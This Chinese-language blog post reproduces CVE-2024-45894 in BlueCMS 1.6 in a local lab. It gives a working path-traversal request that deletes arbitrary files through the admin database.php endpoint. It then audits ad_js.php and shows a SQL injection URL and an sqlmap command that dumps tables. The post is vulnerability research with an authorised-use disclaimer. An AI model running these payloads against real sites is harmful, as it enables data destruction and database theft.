BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

BlueCMS 1.6 安装包下载:

 

bluecms-master1.6

http://www.xsssql.com/wp-content/uploads/2024/10/bluecms-master1.6.zip

环境搭建:

下载phpstudy,启动nignx和mysql服务

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

 

随后创建网站,在浏览器直接访问

http://127.0.0.1/install

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

直接下一步

 

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

使用phpstudy创建数据库,并配置数据库信息BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

安装完成后如图:

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

 

访问管理后台,并登录到管理后台

http://127.0.0.1/admin/

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

通过删除robots.txt文件进行测试

poc如下

GET /admin/database.php?act=del&file_name=../../robots.txt HTTP/1.1
Host: 10.10.10.5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.10.5/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6inaqq37c2kes34gfthojnbcl7
Connection: close

 

直接在浏览器访问/admin/database.php?act=del&file_name=../../robots.txt 地址即可进行任意文件删除

 

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

以上漏洞属于CVE-2024-45894

接下来我们使用seay新建项目,使用Seay进行自动审计,但这个分析只是单一的静态分析里面的代码和函数可能出现的漏洞

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

 

查看ad_js.php文件

ad_js.php中有变量$ad_id,这种情况就可以优先看,因此此时变量直接拼接在where列名(ad_id)之后。在注入时,大部分的注入语句都是在while后面的一个变量,通过跟踪那个变量值来注入。像上面的变量写在order by后面的就不一定能注入成功

如果$_GET['ad_id']存在且非空,则使用trim()函数去除ad_id字符串两侧的空白字符,然后将结果赋值给$ ad_id。 如果$_GET['ad_id']不存在或为空,则$ ad_id被赋值为空字符串''

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

 

getone不是php的官方函数,那就是自定义函数,其功能应该是执行后面的SQL语句并将其值赋值给$ad,疑似有sql注入

通过查找文件发现getone方法在/include/mysql.class.php里面,查看函数声明

函数并没有过滤数据也没有进行参数化查看

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

    function getone($sql, $type=MYSQL_ASSOC){
    	$query = $this->query($sql,$this->linkid);
    	$row = mysql_fetch_array($query, $type);
    	return $row;
    }
    

在浏览器访问测试

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

此处为了方便查看可以把sql语句打印输出

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

 

构造sql语句进行测试

http://10.10.10.5/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()

但是并没有结果回显。因为在getone函数执行sql语句之后并没有将结果进行输出,所以此类注入点一般采用延迟注入或者是报错注入(无回显)

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

使用sqlmap进行注入:

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

 

通过sqlmay注入获取表名:

sqlmap -u "http://10.10.10.5/ad_js.php?ad_id=0" -D testsce --tables

BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894

 

0x01 阅读须知
技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
THE END
分享
二维码
海报
BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894
BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894 BlueCMS 1.6 安装包下载:   bluecms-master1.6 http://www.xsssql.com/wp-content/uploads/2024/10/bluecms-master1.6.zip 环境搭建: 下载phpstudy,启动nign……
<<上一篇
下一篇>>